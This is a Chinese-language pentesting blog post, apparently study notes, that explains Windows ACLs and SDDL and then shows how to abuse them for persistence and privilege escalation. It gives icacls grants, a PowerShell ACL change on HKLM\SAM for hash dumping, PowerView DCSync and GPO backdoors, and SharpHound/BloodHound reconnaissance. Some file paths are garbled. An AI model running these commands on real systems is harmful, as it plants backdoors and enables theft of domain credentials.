前言:对之前的https://www.cnblogs.com/zpchcbd/p/12374668.html再进行学习一次
参考文章:https://3gstudent.github.io/3gstudent.github.io/渗透技巧-Windows下的Access-Control-List/
参考文章:https://xz.aliyun.com/t/7724#toc-9
参考文章:https://www.freebuf.com/sectool/179002.html
ACL的介绍:
ACL:Access Control List,用来表示用户(组)权限的列表,包括DACL和SACL
ACE:Access Control Entry,ACL中的元素
DACL:Discretionary Access Control List,用来表示安全对象权限的列表
SACL:System Access Control List,用来记录对安全对象访问的日志
如何理解?
ACE:可以理解 当前安全对象的限制,一个用户/用户组对该安全对象的 是否可读 是否可写,那么此时ACE就是可读 可写这两个东西
DACL:可以理解对 当前安全对象的限制,比如 a用户/用户组对该安全对象的XXX权限 b用户/用户组对该安全对象的XXX权限,那么此时DACL则为两条数目
例如对某个文件进行访问,系统将做以下判断:
如果没有DACL,系统将允许访问,可以理解为任何的用户/用户组都没有限制,那么也就是什么都能干
如果存在DACL,但没有ACE,系统将拒绝所有访问 可以理解为存在对a用户/用户组的限制,但是没有ACE,也就是不允许任何操作,那么也就是什么都不能干
如果存在DACL,也存在ACE,那么会按照每个ACE指定允许或拒绝 可以理解为存在对a用户/用户组的限制,但是有ACE,也就是对应的ACE都可以进行操作,不存在的ACE则不可以进行操作
还需要知道的:ACE并不是单方面的允许/拒绝,允许和拒绝的权限都可以由ACE来进行表示,所以ACE还可以细分:
1、谁对你有权限
2、是允许还是拒绝
3、有什么权限
4、这个权限能不能被继承
ACL的表现方式:
存储位置 nTSecurityDescriptor
存储格式 SDDL(Security Descriptor Definition Language)
SDDL(
A; ACE类型(允许/拒绝/审核)
CIID; ACE标志(继承和审核设置)
GW; 权限(增量权限列表)
00299570-246d-11d0-a768-00aa006e0529; 对象类型(GUID)
; 继承的对象类型(GUID)
S-1-5-21-1812960810-2335050734-3517558805-1103 受托人SID
)
拿上面的讲下,查询了A用户的nTSecurityDescriptor,SDDL为如上,其中最后一个是委托人SID,一般这个都是指向其他用户的,比如B用户,那么这条SDDL表示 B用户对A用户有00299570-246d-11d0-a768-00aa006e0529
的权限,00299570-246d-11d0-a768-00aa006e0529实际上的权限是能够强制修改密码,那么相当于B用户就能控制A用户
哪里会用到ACL:
Windows访问控制模型中会用到ACL,比如文件、注册表的权限都包括ACL,用来表示哪些用户(组)具有操作权限
如何查看文件、注册表的权限对应的ACL:
这里就需要用到icacls了,这个工具是windows自带的
注:(OI)代表对象继承 (CI)代表容器继承 (F)代表完全访问
1、添加用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限(添加后门利器)
icacls C:WindowsSYSVOLsysvol est.com /grant test1:(OI)(CI)(F) /t
2、备份指定文件(包括当前目录及其子目录中的文件)的ACL
icacls C:WindowsSYSVOLsysvol est.com /save AclFile /t
3、还原指定文件(包括当前目录及其子目录中的文件)的ACL
这里需要注意的细节: 还原时,路径需要设置为上级目录
icacls C:WindowsSYSVOLsysvol /restore AclFile /t
4、移除用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限
icacls C:WindowsSYSVOLsysvol est.com /remove test1 /t
非域的环境下,ACL可以如何利用?
权限维持:添加普通用户的完全访问权限,作为提权后门
1、比如一些需要高权限才能进行dll劫持的文件夹,比如Google的更新程序,来到更新程序的目录下进行设置权限
icacls Update /grant everyone:f
2、注册表的利用,正常高权限才能导出sam数据库进行解密获取hash值,权限维持也可以在这方面下手
$acl = Get-Acl HKLM:SAM
$person = [System.Security.Principal.NTAccount]"apache"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl HKLM:SAM $acl
3、注册表/路径的ACL利用,正常高权限的启动项才能写,权限维持也可以在这方面下手
域环境下,ACL可以如何利用?
域和ACL的关系图如下:
1、DCSync后门
使用的是PowerView脚本
添加ACL Add-DomainObjectAcl -TargetIdentity "DC=pentest,DC=God" -PrincipalIdentity yuyonghu01 -Rights DCSync
删除ACL Remove-DomainObjectAcl -TargetIdentity "DC=pentest,DC=God" -PrincipalIdentity yuyonghu01 -Rights DCSync
添加完ACL可以可以进行查看指定用户的DACL,看看是怎么样的,多了三个DACL!
2、在域控中添加GPO后门,也就是对对应的组策略的编号ScheduledTasks.xml的command标签内容进行修改,到时候域中的机器进行自动更新组策略的时候会应用
该GroupPolicy模块自己发现只有在域控中有,其他域机器默认是没有的
Import-Module GroupPolicy
Get-GPO -All
添加用户test1对TestGPO的完全访问权限
$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO' #这里填写你的创建的组策略的名称
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right #这里填写你的用户名
AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()
查看DACL可以发现如下:
3、ACL配置不当造成的域提权
4、创建ntds.dit的文件共享,添加ACL,后续可以使用域内普通用户访问域控制器的ntds.dit文件,读取域内所有用户的hash
域中BloodHound的使用:
用来采集域内ACL的工具:https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe
采集完之后可以导入BloodHound进行分析
我这里把SharpHound.exe放入一台普通的域机器中
程序是需要.net支持的,2012的机器上自带.net4.0
执行:SharpHound.exe -c all
将生成的文件下载到本地,打开BloodHound进行导入操作
拿起刚才我们给yuyonghu01设置的DCSync的权限,我们可以在BloodHound中观察到
那么之后就可以继续定位到yuyonghu01的机器,对当前该机器进行攻击拿下之后凭借DCSync的权限导出域哈希!